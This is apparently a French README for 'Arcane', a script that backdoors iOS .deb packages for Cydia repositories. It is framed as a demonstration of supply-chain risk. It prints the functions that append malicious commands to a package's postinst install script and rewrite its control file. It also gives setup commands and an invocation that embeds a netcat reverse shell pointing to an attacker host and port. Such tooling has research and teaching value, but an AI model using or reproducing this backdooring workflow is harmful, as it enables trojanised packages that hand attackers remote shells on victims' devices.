
Arcane est un script simple conçu pour backdoor les packages iOS (iphone-arm) et créer les ressources nécessaires pour les dépôts APT.
Arcane est un script simple conçu pour backdoorer des paquets iOS (iphone-arm) et créer les ressources nécessaires pour les dépôts APT. Il a été créé pour cette publication afin d'illustrer pourquoi les dépôts Cydia peuvent être dangereux et quelles attaques post-exploitation sont possibles à partir d'un appareil iOS compromis.

Pour comprendre ce qui se passe dans le GIF, décompressez un paquet créé avec Arcane.
dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp
Remarquez les fichiers control et postinst dans le répertoire DEBIAN. Les deux fichiers sont importants.
tree /tmp/whois-decomp/
/tmp/whois-decomp/
├── DEBIAN
│ ├── control
│ └── postinst
└── usr
└── bin
└── whois
Il est possible de fournir des scripts dans le cadre d'un paquet lors de l'installation ou de la suppression d'applications. Les scripts de maintenance de paquets incluent les fichiers . Arcane profite du fichier pour exécuter des commandes pendant l'installation.
postinst# Le fichier "post-installation". Ce fichier est généralement responsable
# de l'exécution de commandes sur le système d'exploitation après l'installation
# des fichiers nécessaires. Il est utilisé par les développeurs pour gérer et maintenir divers
# aspects d'une installation. Arcane abuse de cette fonctionnalité en
# ajoutant des commandes Bash malveillantes au fichier.
postinst="$tmp/DEBIAN/postinst";
# Une fonction pour gérer le type d'exécution de commande intégré dans le
# fichier postinst.
function inject_backdoor ()
{
# Si --file est utilisé, `cat` la/les commande(s) dans le fichier postinst.
if [[ "$infile" ]]; then
cat "$infile" >> "$postinst";
embed="[$infile]";
else
# Si pas de --file, utiliser la charge utile Bash simple, définie
# précédemment.
echo -e "$payload" >> "$postinst";
embed="commande shell générique";
fi;
status "embedded $embed into postinst" "error embedding backdoor";
chmod 0755 "$postinst"
};
Le fichier control contient des valeurs que les outils de gestion de paquets utilisent lors de l'installation des paquets. Arcane va soit modifier un control existant, soit le créer.
# Le modèle de fichier "control". La plupart des paquets iOS incluront un
# fichier control. Si aucun n'est trouvé, Arcane utilisera le
# modèle ci-dessous. La variable `$hacker` est utilisée ici pour occuper
# divers champs arbitraires.
# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html
controlTemp="Package: com.$hacker.backdoor
Name: $hacker backdoor
Version: 1337
Section: app
Architecture: iphoneos-arm
Description: Un paquet iOS backdooré
Author: $hacker <https://$hacker.github.io/>
Maintainer: $hacker <https://$hacker.github.io/>";
...
# Une instruction `if` pour vérifier la présence du fichier control.
if [[ ! -f "$tmp/DEBIAN/control" ]]; then
# Si aucun control n'est détecté, le créer à l'aide du modèle.
echo "$controlTemp" > "$tmp/DEBIAN/control";
status "fichier control créé" "erreur avec le modèle control";
else
# Si un fichier control existe, Arcane renomme simplement le paquet
# tel qu'il apparaît dans la liste des applications Cydia disponibles. Cela
# rend le paquet plus facile à localiser dans Cydia.
msg "fichier control détecté" succ;
sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";
status "fichier control modifié" "erreur avec le fichier control";
fi;
Clonez le dépôt dans Kali v2020.3.
sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dépendances
sudo git clone https://github.com/tokyoneon/arcane /opt/arcane
sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane
chmod +x arcane.sh;./arcane.sh --help
Intégrer une commande dans un paquet donné. Voir l'article pour plus d'informations.
./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attaquant> --lport <4444> --cydia --netcat
Le dépôt inclut des paquets pour les tests.
ls -la samples/
-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 76688 Aug 29 2018 sed_4.5-1_iphoneos-arm.deb
-rw-r--r-- 1 root root 60866 Jul 8 21:03 top_39-2_iphoneos-arm.deb
-rw-r--r-- 1 root root 13810 Aug 29 2018 whois_5.3.2-1_iphoneos-arm.deb
Sommes MD5, telles que trouvées sur le dépôt officiel Bingner.
md5sum samples/*.deb
3f1712964701580b3f018305a55e217c samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb
795ccf9c6d53dd60d2f74f7a601f474f samples/network-cmds_543-1_iphoneos-arm.deb
a020882dac121afa4b03c63304d729b0 samples/sed_4.5-1_iphoneos-arm.deb
38db275007a331e7ff8899ea22261dc7 samples/top_39-2_iphoneos-arm.deb
b40ee800b72bbac323568b36ad67bb16 samples/whois_5.3.2-1_iphoneos-arm.deb